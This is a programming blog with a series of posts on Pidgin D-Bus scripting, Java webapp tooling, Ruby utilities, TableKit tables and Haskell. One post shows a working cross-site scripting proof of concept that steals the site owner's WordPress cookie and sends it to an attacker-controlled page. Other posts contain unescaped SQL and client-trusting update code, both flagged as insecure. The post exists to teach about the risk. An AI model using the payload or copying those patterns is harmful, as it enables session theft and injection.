talkingCode

Awesome D-Bus

I’ve been using a new window manager - Awesome WM. It’s pretty fine. At version 2.3, it doesn’t currently support window tabbing in the way Ion does, but I’m assured that that feature is on its way. Everything else works pretty swishly, and the desktop tagging features are particularly nice.

It doesn’t come with a system tray out of the box, so I’d managed to miss some incoming instant messages. Fortunately you can write your own widgets for Awesome - you just pipe your widget updates into ‘awesome-client’.

So all I needed was a way to get the new message notification out of Pidgin…

#!/usr/bin/env python

from BeautifulSoup import BeautifulSoup
import os
import dbus.glib
import gobject
import sys

class CheckedObject:
    def __init__(self, obj):
        self.obj = obj

    def __getattr__(self, attr):
        return CheckedAttribute(self, attr)

class CheckedAttribute:
    def __init__(self, cobj, attr):
        self.cobj = cobj
        self.attr = attr

    def __call__(self, *args):
        result = self.cobj.obj.__getattr__(self.attr)(*args)
        if result == 0:
            raise "Error: " + self.attr + " " +
               str(args) + " returned " +
               str(result)
        return result

def awesome_write(string):
    awesome = os.popen("awesome-client", "w")
    widget_message = "0 widget_tell widgetbar im text %s\n" % string
    awesome.write(widget_message)
    awesome.close()

def message_received(account, sender, message, conversation, flags):
    html = BeautifulSoup(message)
    try:
      message = html.font.font.string
    except Exception, e:
      pass
    awesome_write("%s <%s>" % (message, sender))

def message_sent(account, receiver, message):
    awesome_write("")

bus = dbus.SessionBus()

obj = None
try:
    obj = bus.get_object(
        "im.pidgin.purple.PurpleService",
        "/im/pidgin/purple/PurpleObject")
except:
    print "Couldn't find Pidgin on the Bus"
    sys.exit(1)

purple = dbus.Interface(obj, "im.pidgin.purple.PurpleInterface")

cpurple = CheckedObject(purple)

bus.add_signal_receiver(message_received, dbus_interface="im.pidgin.purple.PurpleInterface", signal_name="ReceivedImMsg")
bus.add_signal_receiver(message_sent, dbus_interface="im.pidgin.purple.PurpleInterface", signal_name="SentImMsg")

gobject.MainLoop().run()

D-Bus really seems to be coming along quite nicely. dbus-inspector shows that there are a bunch of applications enabled for it (including Pidgin and XChat), and the language support seems to be fairly polished. Can’t wait to see what else ends up on the bus.

Ars run-through (with code):
http://arstechnica.com/reviews/apps/pidgin-2-0.ars/4

Pidgin list of conversation signals:
http://developer.pidgin.im/doxygen/dev/html/conversation-signals.html#sent-im-msg

D-Bus Inspector:
http://www.vitavonni.de/projekte/dbus-inspector.html.en

Awesome WM:
http://awesome.naquadah.org/

Ion WM:
http://modeemi.fi/~tuomov/ion/

Buzzword Bingo - Tomcat, Jetty, Cactus, Derby, Velocity, Maven

I’ve been writing a webapp at work recently. Because I’m writing it in Java, the scope for me to post interesting articles about what I’m doing has been pretty limited - I don’t know that much about enterprisey Java, and I spend most of my time bashing my head against a Java-shaped wall. A quick overview is probably worth doing though.

Apache
If you’ve not heard of the Apache Foundation (outside the context of their fine webserver), go visit their site now. Amongst other things, Apache are creating an incredible resource on that site in the form of a huge code commons. If you’re not sure what a commons is, a) shame on you and b) read this fine book (in fact, read it even if you are sure). The majority of the code on the Apache site is Java, so if you’re developing an application in Java it’s well worth checking the links on the left-hand side of the main page to see if they’ve already written what you’re writing, or something that will help you. The code is all Apache-licensed - a BSD-style license that is amenable to reuse in commercial projects as well as Free Software projects. It’s also very high quality code. You basically can’t lose.

strace is your friend
One of the biggest irritations, I’ve found, in using the Apache Java projects (and this is more of a function of Java than Apache) is trying to make Java find the appropriate config files. It’s pretty difficult to tell which config files Java is seeing, if any. You can download the source to the component you’re using and single step it in Eclipse, but this tends to get tedious at about the point you hit the class loader, which is exactly the point at which it’ll do any resource location. What you can do, though, is:

strace -f -p[YOUR_PID] 2>&1 | grep “your_config_file.xml”

You’re looking for things like calls to ’stat’ or results of ‘ENOENT’. This will generally tell you what Java’s looking for and where. That is, I grant you, a sledgehammer-nut solution, but I’ve found it quicker than anything else. If you know a better way to work out where I should be putting my Velocity toolbox.xml in my Maven tree for the Webapp to run in Jetty under Cactus please let me know. It’s not in the FAQ.

My environment
What am I doing with all these projects?

• Maven - Your lifecycle management tool (build and dependency management). Maven2 is much improved over Maven for having the package repositories work 99% of the time rather than the 50% that was more common in the original. The whole POM thing is… errr… a little obtuse, I grant you, but you can use Maven in a dumb way without too much trouble. The Eclipse plugin is a great way to find the packages you need too.
• Tomcat - The application server. Can’t really do a Webapp without one of those. Tomcat isn’t the only server out there, but it’s pretty well used and, as at 5.5-ish, not too difficult to make go.
• Velocity - The templating engine. The web is awash with webapp ‘frameworks’; Apache have about four of them for starters. Sometimes, though, you’re not writing for web browsers. Sometimes, you just want a way to turn your POJOs into arbitrary markup. Velocity is fast, uncomplicated and fully featured.
• Cactus - The Servlet test framework. I’ve still not completely wrapped my head around Cactus, but basically for each of your unit tests you have setUp and tearDown to manipulate state on the server, and begin and end to manipulate state on the client, and Cactus will run web requests inside a test harness for you. Trés handy.
• Jetty - A lightweight servlet container. Controversially not an Apache project, Jetty is really quite handy for running your Cactus tests. Instead of pushing the WAR all the way to Tomcat, you can new up a Jetty server inside the Maven test task and run your functional tests there.
• Derby - The lightweight database. To avoid having to have a real database available in order to run your unit tests, I find it convenient to put some test fixtures in a Derby DB and run the servlet off the back of that. This plays really nicely with the Cactus / Jetty setup and has the added advantage that (unlike MySQL) if you try and create a prepared statement that your schema can’t possibly run, Derby will warn you about that at preparation time rather than execution time. With a bit of tweaking, then, you can statically check your statements against the schema.

Making all that play together has been nightmarish, either because of my relative inexperience or because it’s genuinely difficult. I’ve embarrassingly failed to write down all the errors I encountered and how to fix them, but I may cover some of the more tricky parts of the setup in future articles. For all the setup work, though, being able to type mvn install and feel confident that your latest refactoring hasn’t broken the complex application you’ve written is worth almost any amount of blood, sweat and tears.

Simple webservice client, Ruby

Haven’t really got anything useful to write about, so here’s a simple bit of code to make XML requests to a webservice. It’s useful for me as a reference because it covers things I want to do fairly regularly - MD5-summing, Base64 encoding, fetching a page over HTTP and parsing and dumping an XML document.

For the sake of a complete example, the service we’re looking at here is a relatively RESTful directory service, exposing nested resources by extending the request URL:

# Root of service
http://some.service.com/api_root/

# List of locations
http://some.service.com/api_root/locations

# List of categories for location ID 4
http://some.service.com/api_root/categories/location/4

Requests can also have query arguments appended to specify, for example, numbers of results to return and sort order. Additionally, an authentication token and username are sent as query parameters, so that a complete request might look like:

http://some.service.com/api_root/categories/location/4?
    count=20&sort=name&uid=someuser&hash=5ju5eVirhXRqjdobToZiGA%3D%3D

The code, then, for our simple client is:

#!/usr/bin/ruby

require 'digest/md5'
require 'base64'
require 'cgi'
require 'net/http'
require 'uri'
require 'rexml/document'
require 'rexml/xpath'

BASE="http://some.service.com/api_root/"
UID="username"
PASS="suitable_password"

# Generates a valid authentication token based on 'PASS' and the
# current timestamp
def token
  plaintext = Time.now().to_i.to_s + '.' + PASS
  md5 = Digest::MD5.digest(plaintext)
  return Base64.encode64(md5).strip
end

# Returns a valid service URL, including authentication tokens
def url_for(method, args, queryargs = Hash.new)
  queryargs['uid'] = UID
  queryargs['hash'] = token
  escaped_query_parts = queryargs.collect do |entry|
    entry.collect { |e| CGI.escape(e) }.join(”=”)
  end
  escaped_args = args.unshift(method).collect { |a| CGI.escape(a) }
  path = escaped_args.join(”/”) + “?” + escaped_query_parts.join(’&')
  return BASE + path
end

# Fetches an XML document from the supplied URL
def fetch_xml(url)
  xml_string = Net::HTTP.get(URI.parse(url))
  if !xml_string
    puts “Request failed”
    exit
  end
  doc = REXML::Document.new xml_string
end

# Dumps out the ‘name’ and ‘url’ attributes for a nodelist
def dump_name_attributes(doc, path)
  REXML::XPath.each(doc, path) do |node|
    puts attribute_value(node, ‘@name’) +” (”+ attribute_value(node, ‘@url’) +”)”
  end
end

# Fetches the value of the attribute with the supplied name, or nil
def attribute_value(node, path)
  attribute = REXML::XPath.first(node, path)
  if !attribute
    return nil
  end
  return attribute.value
end

… and we might make a request as follows:

puts "Category List:"
xml = fetch_xml(url_for("categories", ["location","4"],
               { “count” => “20″,
                  “sort” => “name” }
        ))
dump_name_attributes(xml, ‘xmlservice/categories/category’)

assuming that the returned XML looks a little like this:

<xmlservice>
  <categories>
    <category name="Food" url="/api_root/category/food"/>
    <category name="Drink" url="/api_root/category/drink"/>
    <category name="Art" url="/api_root/category/art"/>
  </categories>
</xmlservice>

Reading the Economist - Hpricot, Ruby-RSS, Festival

Well, having the Economist read at any rate.

First, set up Festival (configuring it to use ALSA and an ‘English’ voice):

apt-get install festival
apt-get install festvox-rablpc16k
cat > ~/.festivalrc <<END
(Parameter.set 'Audio_Command "aplay -D plug:dmix -q -c 1 -t raw -f s16 -r \$SR \$FILE")
(Parameter.set 'Audio_Method 'Audio_Command)
(voice_rab_diphone)
END

Then liberally sprinkle some ruby:

#!/usr/bin/ruby

require 'rss/1.0'
require 'rss/2.0'
require 'open-uri'
require 'yaml'
require 'hpricot'
include YAML

TEMPFILE = "/tmp/economistreader"
puts "Fetching feed"
source = "http://www.economist.com/rss/full_print_edition_rss.xml"
content = ""
open(source) do |s| content = s.read end
rss = RSS::Parser.parse(content, false)

puts "Title: #{rss.channel.title}"
puts "Found #{rss.items.size} items"
for item in rss.items
  puts "#{item.title}"
  puts "Read? [Y/n]”
  if readline.strip.downcase =~ /^n/
    next
  end
  doc = Hpricot(open(item.link))
  paras = doc.search(”//div[@class='col-left']/p[@class='']“)
  File.open(”#{TEMPFILE}.body”, “w”) do |f|
    paras.each do |p|
      f.write(p.inner_text + “\n”)
      puts p.inner_text
    end
  end
  system(”festival”, “–tts”, “#{TEMPFILE}.body”)
end

I give it about 3 articles before the voice drives me completely insane. There’s a character-set issue that puts ‘?’s in odd places and causes Festival to get confused. Even without confusing characters, free text-to-speech software still isn’t ‘all that‘.
You could also, it’s worth pointing out, visit PimpMyNews. You’ll find the Economist’s feed under ‘Business/World Business News’. Unfortunately, they are lazy and their software only reads out the text from the RSS ‘Description’ field rather than parsing the whole article. That said, if what you want is to hear the first 200 words of every article in the Economist, that’s your badger.

Writing your own cross-site scripting exploit with echo.php

I keep commenting in my posts about security, usually to the effect that I don’t care for the purposes of what I’m doing but that you should think carefully about it. I thought it might be instructive to demonstrate just how easily ‘not caring’ can get you in trouble.

In order to make the editable table demo work, I created ‘echo.php’ - a simple PHP script to echo any posted value back to the caller; in this case the TableKit AJAX so that the cells get updated. I wrote this in the obvious way:

<?php
  echo $_POST['value'];
?>

It’s a one line (one command) PHP script. What could possibly go wrong?

Well let’s see how wrong we can make things go. Anybody visiting this site will know it’s hosted on Wordpress, can discover what echo.php does, and will find out if they leave a comment on the blog that comments need approving. Let’s suppose that one such visitor (Sally, for sake of argument) wasn’t happy with that way of working and wanted to be able to approve her own comments in future. Suppose further that I’m the kind of guy who likes to get a little background on the people commenting on my blog before I approve their messages. Sally leaves an innocuous looking comment and in the Website field, puts the URL of a page on her site - http://www.sallyssite.com/some_page.html. The code for some_page.html might look like this:

<html>
<head><title>Some Page</title></head>
<body onload="submitit()">
<form name="form1"
           action="http://talkingcode.co.uk/echo.php"
           method="post">
<input type="hidden" name="value" value="<html>
<head>
<title>Pwned</title>
</head>
<body onload='pwned()'>
<script type='text/javascript' src='/script/prototype.js'>
</script>
<form name='form1' action='http://www.sallyssite.com/gotcha.php' method='get'>
<input id='result' type='hidden' name='result' value=''/>
</form>
<script>
function pwned()
{
  $('result').value = document.cookie;
  document.form1.submit()
}
</script>
</body>
</html>">
</form>
<script>
function submitit()
{
  document.form1.submit();
}
</script>
</body>
</html>

So… What happens when I click the link and visit Sally’s page? The onload action for her page submits the form that’s on it, whose action is http://talkingcode.co.uk/echo.php and whose method is POST. The POST data is the value of a hidden field called value, specifically a bunch of HTML and Javascript.

On loading the page, my browser will render the output of echo.php which is the contents of the value field, which happens to be another auto-submitting form. This time, though, the action of the form is http://www.sallyssite.com/gotcha.php, and the contents of the form’s result field is going to be my cookie for talkingCode. So… I’ll just have posted my WordPress administrator cookie over to Sally’s site. How embarrassing.

Welcome to the real world

You might think this is a pretty contrived example, but the ingredients for this attack exist in a whole lot of real world systems that you might be using. Any time you click ‘Remember me’ on a site, or on any site to which you don’t have to log in every time, you’re using cookie-based authentication. Anyone who steals the cookie can log in as you. Still, not every site has an ‘echo.php’ lying around, right? That’s as may be, but a large number of sites do render user input and that’s really all it takes. Exploiting echo.php was easy because I had complete control of the way the result was going to render, but anywhere I can get my form rendered on a site that you trust, I can steal your cookies. This might be something I’ve put on my Facebook profile (in a world where Facebook was written by monkeys), it could be a comment I’ve made on your blog (if your blog software is completely broken); anywhere that hasn’t successfully escaped HTML/Javascript in all places may be at risk. Fortunately if you’re using high-profile sites or standard tools, you’re unlikely to run in to this problem because, either by having clever developers or through many eyes, these kinds of things will have been detected and avoided. Unfortunately, you might be writing a site yourself and miss it, or using a site written by people who don’t know what they’re doing.

NoScript to the rescue?

Well, kinda. If you’ve installed NoScript - which I strongly recommend you do - the form on Sally’s page can’t auto-submit. She has to make you click on a button to submit her form. Unfortunately, that’s not that hard. She need only label it ‘Search’, or ‘click here for free money’ to socially engineer that one. The only Javascript required in the exploit is the call to document.cookie, and that runs in the trusted domain. It’s a no-brainer that I’ll have marked talkingCode as trusted in NoScript - if I hadn’t, none of my lovely demos would work (inasmuch as they work at all). Any site on which you use cookie authentication that requires Javascript is equally vulnerable.

Don’t have nightmares

It’s worth pointing out that the vast majority of sites and tools you use won’t allow you to be exposed to this. I highlighted echo.php because it’s code I actually wrote and installed on my site. There are a lot of web developers who go through their lives copying and pasting examples from blogs and forums without understanding what the risks are but you don’t need to use their sites, and you certainly needn’t be one of them. It’s also worth conceding that although the script is called echo.php, and in spite of our irrational prejudice against PHP, there’s nothing intrinsically worse about PHP in terms of security. It’s what you do with it that counts.

Editable table with Javascript, TableKit, AJAX and Rails

Me and my tables. First drag and drop, then drag-select, and now click-to-edit values with date parsing magic. It’s like having a spreadsheet in a webpage, but less pointful. You will need:

• Prototype
• Fastinit (Optional, and can also be obtained from Tablekit)
• Tablekit
• DateJS

… and a table of data:

As you can see, by clicking the cells, you can edit the data. The table data is generated by an RHTML template using appropriate ActiveRecord models:

<table class="editable">
<thead>
  <tr>
    <th>Hardware Config</th>
    <th id="odm_id">ODM</th>
    <th id="brand_id">Brand</th>
    <th id="model_name">Model</th>
    <th id="date">Date</th>
    <th><!-- actions --></th>
  </tr>
</thead>
<tbody>
<% hwconfigs_by_id = Hash.new %>
<% @hwconfigs.each { |hwc| hwconfigs_by_id[hwc.product_code] = hwc } %>
<% for i in (1..200) %>
   <% code = 1024 - i%>
   <% hwconfig = hwconfigs_by_id[code.to_s] %>
     <tr class=”<%= cycle(”odd”, “even”)%>” id=”<%= code %>”>
        <td><%= code %></td>
        <% if hwconfig %>
          <td><%= hwconfig.odm.name if hwconfig.odm %></td>
          <td><%= hwconfig.brand.name if hwconfig.brand %></td>
          <td><%= hwconfig.model_name %></td>
          <td><%= hwconfig.date %></td>
        <% else %>
          <td></td>
          <td></td>
          <td></td>
          <td></td>
        <% end %>
    </tr>
<% end %>
</tbody>
</table>

In the same template, the following code adds the Javascript that we’re going to need to make the table editable:

<%= javascript_include_tag "tablekit" %>
<%= javascript_include_tag "fastinit" %>
<%= javascript_include_tag "date-en-GB" %>
<script>
TableKit.options.editAjaxURI = '<%= url_for :controller => "hwconfigs", :action => "table_edit"%>';
TableKit.Editable.textInput('date', {}, function(string) {
  var format = "yyyy-MM-dd";
  var date = Date.parse(string);
  if (date)
  {
    return date.toString(format);
  }
  return date;
}, "today");
TableKit.Editable.textInput('model_name', {}, undefined, "");
TableKit.Editable.selectInput('odm_id', {}, [
  <% for oem in Odm.find(:all, :order => 'name') %>
    <%= "['#{oem.name}','#{oem.id}'],” %>
  <% end %>
]);
TableKit.Editable.selectInput(’brand_id’, {}, [
  <% for brand in Brand.find(:all, :order => 'name') %>
    <%= "['#{brand.name}','#{brand.id}'],” %>
  <% end %>
]);
</script>

How do you get that to update the data model? In Rails, you’d configure the javascript to post to your hwconfigs/table_edit action, and process the posts in the hwconfigs ActionController as follows:

def table_edit
  hwconfig = Hwconfig.find_by_product_code(params[:id])
  if !hwconfig
    hwconfig = Hwconfig.new()
    hwconfig.product_code = params[:id]
  end
  if !params[:value]
    params[:value] = “”
  end
  if hwconfig.respond_to? params[:field].to_sym
    hwconfig.update_attributes(params[:field] => params[:value])
  end
  result = params[:value]
  case params[:field]
    when “brand_id”
       result = hwconfig.brand.name
    when “odm_id”
       result = hwconfig.odm.name
  end
  render :text => result
  return
end

Two things worth noting there. First is the cheeky use of introspection to get the model updated (respond_to?). I keep saying this, but it’s worth remembering that this code completely trusts the client to be sending valid data. In our table we’ll have selected and sent a list of values for the drop-downs, but there’s nothing to stop someone determined sending a POST with a different set of values.
Second thing to note is that we echo back the text that we want rendered in the table cell. In the case of text and dates, that’s easy. In the case of the drop downs, we need to convert the value sent back into the name of the item that we want displayed in the table cell.
That’s the bulk of the work. There are a couple of neat tricks that you can use to make your table a bit easier to use. If you click on one of the empty ‘Date’ cells, you’ll see that the default text in the edit box is ‘today’. Clicking ‘OK’ magically translates that text into today’s date, which is quite cool. You can also try things like ‘tomorrow’, ‘last tuesday’ or ‘next week’. That’s DateJS in action. Problem is, DateJS is a client-side library so we need to do the translation from text to date before the post hits the server. How do we swindle that one? In ‘prototype.js’, we can edit the serializeElements method to perform some ‘validation’ before the post is sent:

  serializeElements: function(elements, getHash) {
    var data = elements.inject({}, function(result, element) {
      if (!element.disabled && element.name) {
        var key = element.name;
	if ($(element).validator)
	{
	  value = $(element).validator($(element).getValue());
	}
        else
	{
	  value = $(element).getValue();
	}
        if (value != undefined) {
          if (result[key]) {
            if (result[key].constructor != Array) result[key] = [result[key]];
            result[key].push(value);
          }
          else result[key] = value;
        }
      }
      return result;
    });

‘course, we’ll need to edit the constructor for the TextInput to allow us to specify a validation function and a default value in TableKit.Editable.CellEditor.prototype:

TableKit.Editable.textInput = function(n,attributes,validator,defaultvalue) {
  TableKit.Editable.addCellEditor(new TableKit.Editable.CellEditor(n, {
    element : 'input',
    attributes : Object.extend({name : 'value', type : 'text'}, attributes||{}),
    validator : validator,
    defaultvalue: defaultvalue
  }));
};

and add the validation (and default value) code:

case 'textarea':
  if (op.validator)
  {
    field.validator = op.validator;
  }
  var textVal = TableKit.getCellText(cell)
  if (textVal == undefined && op.defaultvalue != undefined)
  {
    field.value = op.defaultvalue;
  }
  else
  {
    field.value = textVal;
  }

and while we’re at it fix a bug in the drop-down value code in the same function:

case 'select':
  var txt = TableKit.getCellText(cell);
  $A(op.selectOptions).each(function(v){
    field.options[field.options.length] = new Option(v[0], v[1]);
    if(txt === v[0]) {
      field.options[field.options.length-1].selected = ’selected’;
    }
  });
  break;

Couldn’t be simpler. Or something.

Bounding box drag-select for tables; Javascript, Prototype

*sigh*. I had a table, a lovely table. I wanted to be able to drag a bounding box around rows in the table. Looking around, there didn’t seem to be much by way of existing support, so I wrote this fine bounding box library. Well, it’s not actually that fine, but it does at least work in a cross-browser way. (Tested in FF/Linux, IE6/Linux, Opera/Linux, IE7/Win - IE7 has some minor alignment issues). I’m using it on tables here, but it’ll work (as far as I know) for any element.

The magic code to do what you see there is (with apologies for the fromCharCode: Javascript + Wordpress = Death):

<script type="text/javascript" src="/script/prototype.js"></script>
<script type="text/javascript" src="/script/boundingbox.js"></script>
<script>
  // Button actions
  function doStuff()
  {
    var b = new BoundingBox();
    clearCells();
    updateLabel("Click and drag to select items");
    b.startSelection(releaseCallback);
  }

  function doStuff2()
  {
    var b = new BoundingBox();
    clearCells();
    updateLabel("Click mouse on canvas to start selection");
    b.startTwoClickSelection(firstClickCallback, releaseCallback);
  };

  // Callbacks
  function firstClickCallback()
  {
    updateLabel("Click mouse on canvas again to stop selection");
  };

  function releaseCallback(selected)
  {
    for (var i=0; i<selected.length; i++)
    {
      $(selected[i]).setStyle({
         background: “#FF9999″
       });
    }
    updateLabel(”Click a button to begin selection”);
  };

  // Utility functions:
  function clearCells()
  {
    $$(”td[bandable]“).each(function (data) {
      data.setStyle({
        background: “#99FF99″
    })});
  }

  function updateLabel(text)
  {
    var o = String.fromCharCode(60);
    var c = String.fromCharCode(62);
    var label = o + “label” + c;
    label += text;
    label += o + “/label” + c;
    $(”label_div”).firstDescendant().replace(label);
  };
</script>
<input onclick=”doStuff()” type=”button” value=”Drag-Select Mode” />
<input onclick=”doStuff2()” type=”button” value=”2-Click Mode” />

Note that the callback function is invoked with an array of the selected elements’ ids when the mouse has been released. I’ve hooked this up to change the element colours in the little script, but you could equally:

  function releaseCallback(selected)
  {
    new Ajax.Request('/some/form.php', { method: 'post',
                            parameters: {'ids[]‘:selected} });
  }

if you wanted to send the data back to a form somewhere.

This code is still a bit rough around the edges - YMMV. Props, as ever, to the good people at Prototype without whose magic this wouldn’t work.

Import into MySQL from CSV/Excel, Ruby

You have some data in a CSV file (or a spreadsheet that you’ve dumped to CSV) that you’d like to load into a MySQL database. Nothing very interesting to say about this except that faffing looking up both sets of docs is tedious for what are quite simple bits of code and a fairly occasional task. (If you spend a lot of your time dealing with CSV / Excel files, you’ve probably made some bad decisions in life, but at least you’ll know this by heart )

The source file is a list of resistor values - column headings ‘Value’ (read product code), ‘Resistor A’, ‘Resistor B’, ‘Resistor C’. The CSV looks something like:

0,1.1,27,180
7,4.7,22,47
21,2.2,18,4.7

The table looks something like:

CREATE TABLE resistor_configs (
  id INT AUTO_INCREMENT,
  value INT,
  resistor_a FLOAT,
  resistor_b FLOAT,
  resistor_c FLOAT,
  PRIMARY KEY  (id)
) DEFAULT CHARSET=utf8

…and the Ruby runs as follows:

#!/usr/bin/ruby
#
require 'csv'
require 'mysql'

my = Mysql::init()
# You can do any SSL stuff before the real_connect
# args: hostname, username, password, database
my.real_connect("localhost", "root", "", "products_development")

my.query("DELETE FROM resistor_configs")

CSV.open('/tmp/resistors.csv', 'r') do |row|
  # No escaping here, because I trust the input file. You may not
  my.query("INSERT INTO resistor_configs" +
               "(value, resistor_a, resistor_b, resistor_c)" +
               "VALUES (#{row[0]}, #{row[1]},” +
               “#{row[2]}, #{row[3]})”)
end

There you have it. Nothing very clever, but easier to copy and paste than to read the fine manual.

Getting started with Haskell

All the cool kids, it seems, are using Haskell these days. Or at least, the two or three people with whom I talk about software on a regular basis. Functional programming is fun. It makes you think a little differently about the world, and serves as a decent substitute for a unicorn chaser if you’ve been writing PHP all day.

I remember almost the first snippet of code we saw on our computer science course was the following to count the number of items in a list:

count [] = 0
count (x:xs) = 1 + count(xs)

which, for a guy who’d only ever really written code in BASIC before starting the course, was a bit of an eye opener. I think it was probably three or four lectures in before we had to work out the code for printing out all the permutations of a list:

> permute [1,2,3]
[[1,2,3],[2,1,3],[2,3,1],[1,3,2],[3,1,2],[3,2,1]]

After much blood, sweat, and tears we’d eventually come to the realisation that:

insert x [] = [[x]]
insert x (y:ys) = (x:y:ys) : map (\z -> y:z) (insert x ys)

permute [] = [[]]
permute (x:xs) = concat (map (insert x) (permute xs))

would suffice (where concat flattens a list and map has the usual meaning). At first glance, it all looks pretty daunting, but after a while one comes to understand what it means for the type of map to be (a -> b) -> [a] -> [b], and starts to appreciate the compact elegance of the code that’s produced in functional programming.

Ugly implementation details? You betcha…

apt-get install hugs
apt-get install haskell98-tutorial
cat > hello.hs <<END
#!/usr/bin/runhugs +l
main :: IO()
main = putStr "Hello World!\n"
END
chmod 755 hello.hs
./hello.hs

(N.B. hugs with the ‘+l’ switch is sensitive about filenames. Non ‘.hs’ files require lines of Haskell to begin ‘>’). It’s often more comfortable to develop these things interactively. Booting into a hugs session and typing

> :load hello.hs

will import the functions defined in hello.hs into your session.

Over the coming weeks, I hope to be honing my skills and infuriating my coworkers by replacing bits of critical infrastructure with Haskell scripts. I’ll let you know how that goes.

Byte-packing / reading binary data in Ruby

A lot of high-level languages don’t have wonderful native support for bit-level manipulation of data, so when you find yourself having to implement a proprietary wire protocol or parse a custom file header, you often feel a little lost. Fortunately you’re not the first person to feel lost, and some kind person has, by and large, already solved the problem for you. In Java, for example, there’s the fine commons.io library (in fact, all the commons libraries are pretty fine), and in Ruby you have BitStruct:

# Syntax here is
#    parsed-datatype
#    :symbol_name for the parsed data
#    field size in bits
#    comment
class BinaryHeader < BitStruct
  default_options :endian => :native
  char     :id, 4*8, "File ID"
  char     :format_string, 4*8, "Format String"
  unsigned :remainder, 32, "Remaining bytes"
  unsigned :trackId, 32, "Track ID"
  unsigned :formatId, 32, "Format ID"
  unsigned :codecId, 32, "Codec ID"
  unsigned :major, 16, "Major Version"
  unsigned :minor, 16, "Minor Version"
  unsigned :validation, 32, "Validation Data"
  unsigned :size, 32, "File Size"
end

There are a number of ways you can find binary data on your hands. You could read directly from a file / socket, you could generate some, or you could receive it Base64 encoded from a Webservices request:

def get_header(file)
  header_bytes_base64 = @webservice.getFileHeader(file.trackId)
  header_bytes = Base64.decode64(header_bytes_base64)
  if header_bytes.size != HEADER_SIZE
    puts "Invalid header size: #{header_bytes.size}"
    return nil
  end
  header = BinaryHeader.new(header_bytes)
  puts "Got Header:"
  puts header.inspect_detailed
  if header.id != "FILE"
    puts "Unknown file ID: #{id}"
    return nil
  end
  if header.format_string != "MP3X"
    puts "Unknown file format: #{format}"
    return nil
  end
  return header
end

Problem solved.